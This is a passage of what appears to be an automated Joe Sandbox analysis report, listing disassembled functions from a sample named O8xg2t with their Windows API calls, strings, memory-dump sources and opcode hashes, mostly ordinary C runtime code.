mscoree.dll, xrefs: 00007FFBC1BA7F44

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction ID: b8405dae1435797d0b5e0b4166712639ce0708423d601e40ca541aabb3c088e8
Opcode Fuzzy Hash: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction Fuzzy Hash: DCF0C2A9B19A0281EB108F34E44433B6320AF88760F846335CA6D56AF4CF3DE149CB00

Function 0000000140008510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 000000014000851F
GetProcAddress.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 0000000140008534
ExitProcess.KERNEL32 ref: 0000000140008545

Strings

CorExitProcess, xrefs: 000000014000852A
mscoree.dll, xrefs: 0000000140008518

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction ID: f47e7dafb9c87e29c0f228a4507f2bac89d7b1d3f8a3a9cfd33eb857191fa9e3
Opcode Fuzzy Hash: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction Fuzzy Hash: 3AE04CB0711A0052FF5A9F62BC947E823517B5DB85F481429AA5E4B3B1EE7D85888340

Function 00007FFBC1BA40D4 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FFBC1BA41F7
__AdjustPointer.LIBCMT ref: 00007FFBC1BA4242

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction ID: 2d58787c1e438a1a42ba65b87722c3ea6b3dad21c9fec87d242cc92b6ed0a40c
Opcode Fuzzy Hash: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction Fuzzy Hash: ACB1A0A9B0B74281EB65DF35D58023EA790EF54B84F0DA835DE4D27B95DE3CE4428B00

Function 0000000140009F50 Relevance: 7.7, APIs: 5, Instructions: 208COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 0000000140009F76

Part of subcall function 0000000140008370: Sleep.KERNEL32(?,?,00000000,0000000140005545), ref: 00000001400083C0

GetFileType.KERNEL32 ref: 000000014000A11C

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID:
API String ID: 1527402494-0
Opcode ID: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction ID: 2708af0267d8365e54dad009941ca9060f987db411f69ca3ecc20d856229d7df
Opcode Fuzzy Hash: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction Fuzzy Hash: 68917DB260468085E726CB2AE8487D936E4A71A7F4F554726EB79473F1DA7EC841C301

Function 0000000140009E30 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E3E
GetLastError.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E5E
GetCommandLineA.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E9B
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009EBB

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CommandLine$ByteCharErrorLastMultiWide
String ID:
API String ID: 3078728599-0
Opcode ID: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction ID: cab5f27f5268d67fa2b955b7a4895f7bd1e416bc4c6d53bc856f5ac88b27d897
Opcode Fuzzy Hash: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction Fuzzy Hash: 04316D72614A8082EB21DF52F80479A77E1F78EBD0F540225FB9A87BB5DB3DC9458B00

Function 000000014000FD50 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDAC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDC7

Part of subcall function 0000000140010B30: CreateFileA.KERNEL32 ref: 0000000140010B5A

GetConsoleOutputCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDDC
WideCharToMultiByte.KERNEL32 ref: 000000014000FE0D
WriteConsoleA.KERNEL32 ref: 000000014000FE32

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction ID: bea3f08d648c3b04eb316e4c6042deaac10e1fdf59f4257f2eabc448b4c653dc
Opcode Fuzzy Hash: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction Fuzzy Hash: 38317AB1214A4482EB12CF22F8403AA73A1F79D7E4F544315FB6A4BAF5DB7AC5859B00

Function 00007FFBC1BAFB54 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFBC1BAFB7C
_set_statfp.LIBCMT ref: 00007FFBC1BAFB97
_set_statfp.LIBCMT ref: 00007FFBC1BAFBB3
_set_statfp.LIBCMT ref: 00007FFBC1BAFBEF

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction ID: 3e4d024bc979473759fe9c4a1ca97b449436c695de90e4f408d8494207eeacd0
Opcode Fuzzy Hash: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction Fuzzy Hash: 501108FAF09A0701F3541934E1253BF13206F9C3F0F9462B8E56FA66DA8E2CAC404920

Function 00007FFBC1BA9684 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFBC1BA766F,?,?,00000000,00007FFBC1BA790A,?,?,?,?,?,00007FFBC1BA7896), ref: 00007FFBC1BA96A3
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA766F,?,?,00000000,00007FFBC1BA790A,?,?,?,?,?,00007FFBC1BA7896), ref: 00007FFBC1BA96C2
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA766F,?,?,00000000,00007FFBC1BA790A,?,?,?,?,?,00007FFBC1BA7896), ref: 00007FFBC1BA96EA
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA766F,?,?,00000000,00007FFBC1BA790A,?,?,?,?,?,00007FFBC1BA7896), ref: 00007FFBC1BA96FB
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA766F,?,?,00000000,00007FFBC1BA790A,?,?,?,?,?,00007FFBC1BA7896), ref: 00007FFBC1BA970C

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction ID: db85ac5fc44e1bbb4cd957f3d16b5cc295d8927a424341db9fb2829643ff1d96
Opcode Fuzzy Hash: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction Fuzzy Hash: B8114FA8F0E24245FB58AF36E66127B23415F447F0F546335E83D666D6EE2CA4419E00

Function 00007FFBC1BA9518 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFBC1BA9529
FlsSetValue.KERNEL32 ref: 00007FFBC1BA9548
FlsSetValue.KERNEL32 ref: 00007FFBC1BA9570
FlsSetValue.KERNEL32 ref: 00007FFBC1BA9581
FlsSetValue.KERNEL32 ref: 00007FFBC1BA9592

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction ID: 3653edb162c491dca73d7d181adf929168c43c37faaca29f18faf3ac8d838862
Opcode Fuzzy Hash: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction Fuzzy Hash: 1E11E8D8F0E2074AFB68AF36D56227B13814F44375F546734D97E6A6D2EE2CB4429E00

Function 000000014000A370 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000014000A3AF
GetCurrentProcessId.KERNEL32 ref: 000000014000A3BA
GetCurrentThreadId.KERNEL32 ref: 000000014000A3C6
GetTickCount.KERNEL32 ref: 000000014000A3D2
QueryPerformanceCounter.KERNEL32 ref: 000000014000A3E3

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction ID: 72e860a1e5610cf2f60718b33953b9e9cfa3de8eae9ff42976e828aecb981d5d
Opcode Fuzzy Hash: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction Fuzzy Hash: 4101F775255B4082EB928F26F9403957360F74EBA0F456220FFAE4B7B4DA3DCA958700

Function 00007FFBC1BA5448 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFBC1BA54B8
_CallSETranslator.LIBVCRUNTIME ref: 00007FFBC1BA5503

Strings

MOC, xrefs: 00007FFBC1BA54CC
RCC, xrefs: 00007FFBC1BA54D4

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction ID: 25dbf5edc7b93ad68bbfc18731a3c428cab1ea5acfffb0b706ffa6cf6a7fafa4
Opcode Fuzzy Hash: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction Fuzzy Hash: 1C918EB7B097858AE7108F78E5402AE7BA0FB44788F14512AEA8D67B55DF38D195CB00

Function 00007FFBC1BA3A38 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC1BA3A63
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFBC1BA3AFA
RtlUnwindEx.KERNEL32 ref: 00007FFBC1BA3B54

Strings

csm, xrefs: 00007FFBC1BA3AE1

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction ID: fa01c1e7ecf82f8e7eb828a2fc38ebe7955345db14304b9fb93133d8f67ba6a3
Opcode Fuzzy Hash: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction Fuzzy Hash: 7251A17AB1A6428ADB14CF36D444A7E7392EF44B88F50D131DA4A937A4EF7DE841CB00

Function 00007FFBC1BA59C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC1BA59F0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFBC1BA5AD8

Strings

csm, xrefs: 00007FFBC1BA5A12
csm, xrefs: 00007FFBC1BA5B2A

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction ID: 6846908611befe4873db05ab6318fdeec8bc483c5742c95423e859928fcc1447
Opcode Fuzzy Hash: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction Fuzzy Hash: 3D51A2BAB09382CAEB648F31D69436A77A0EB44B85F546135DA4DA3791CF3CE551CF00

Function 00007FFBC1BA51D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFBC1BA5237
_CallSETranslator.LIBVCRUNTIME ref: 00007FFBC1BA5283

Strings

MOC, xrefs: 00007FFBC1BA524B
RCC, xrefs: 00007FFBC1BA5253

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction ID: dd92b4207dc63abf28b2d838a8cb2cdab9450f2a4350fe2f204256ae6692a9f2
Opcode Fuzzy Hash: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction Fuzzy Hash: 7E618EB6A09BC5C5D7208F25E5403AEB7A0FB85794F045225EB9D27B59DF7CE290CB00

Function 000000014000EDC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

GetModuleHandleA.KERNEL32 ref: 000000014000EE2D
GetProcAddress.KERNEL32 ref: 000000014000EE42

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 000000014000EE38
kernel32.dll, xrefs: 000000014000EE26

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressHandleLoadModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3055805555-3733552308
Opcode ID: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction ID: 601bfb796087d826a15eddab62e6da73c6b3e4e45b37998f9684764b2688f2d2
Opcode Fuzzy Hash: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction Fuzzy Hash: 5C2136B1614B8582EB66DB23F8407DAA3A5B79C7C0F880526BB49577B5EF78C500C700

Function 00000001400026F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 000000014000271C
GetCurrentProcess.KERNEL32 ref: 0000000140002721
SetProcessWorkingSetSize.KERNEL32 ref: 0000000140002731

Strings

Shrinking process size, xrefs: 000000014000270E

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: Shrinking process size
API String ID: 2122760700-652428428
Opcode ID: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction ID: de407452bcc55573093b25e37d4a5c8190b9a80636e05c4b95c6e58ff86151e7
Opcode Fuzzy Hash: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction Fuzzy Hash: 74E0C9B4601A4191EA029F57A8A03D41260A74CBF0F815721AA290B2F0CE3985858310

Function 00000001400030B0 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400030E7
LeaveCriticalSection.KERNEL32 ref: 000000014000316B
EnterCriticalSection.KERNEL32 ref: 0000000140003195
EnterCriticalSection.KERNEL32 ref: 00000001400031C6
LeaveCriticalSection.KERNEL32 ref: 00000001400031DD

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction ID: acd2e58e1a3fd81a861280768b65888603737fa84cc19007189881c9ae716cb0
Opcode Fuzzy Hash: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction Fuzzy Hash: D331137A225A4082EB128F1AF8407D57364F79DBF5F480221FF6A4B7B4DB3AC8858744

Function 00007FFBC1BAE3F4 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFBC1BAE473
WriteFile.KERNEL32 ref: 00007FFBC1BAE73B
WriteFile.KERNEL32 ref: 00007FFBC1BAE781
GetLastError.KERNEL32 ref: 00007FFBC1BAE837

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction ID: 4e3fd369b3f1011aba923d282a777336041f402bde5e1928b1d60c93afa1ce2a
Opcode Fuzzy Hash: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
